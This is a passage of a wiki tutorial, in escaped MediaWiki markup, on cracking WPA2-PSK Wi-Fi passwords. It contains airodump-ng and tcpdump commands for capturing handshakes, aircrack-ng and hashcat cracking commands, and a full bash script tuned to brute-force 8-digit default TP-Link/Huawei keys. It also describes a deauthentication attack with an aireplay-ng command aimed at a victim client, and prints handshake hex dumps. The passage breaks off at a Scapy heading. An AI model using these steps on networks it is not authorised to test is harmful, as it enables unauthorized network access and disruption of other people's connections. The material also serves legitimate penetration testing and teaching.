&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   sudo aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   sudo service network-manager restart&lt;br /&gt;
&lt;br /&gt;
Alternatively on systemd:&lt;br /&gt;
&lt;br /&gt;
   sudo systemctl restart network-manager&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
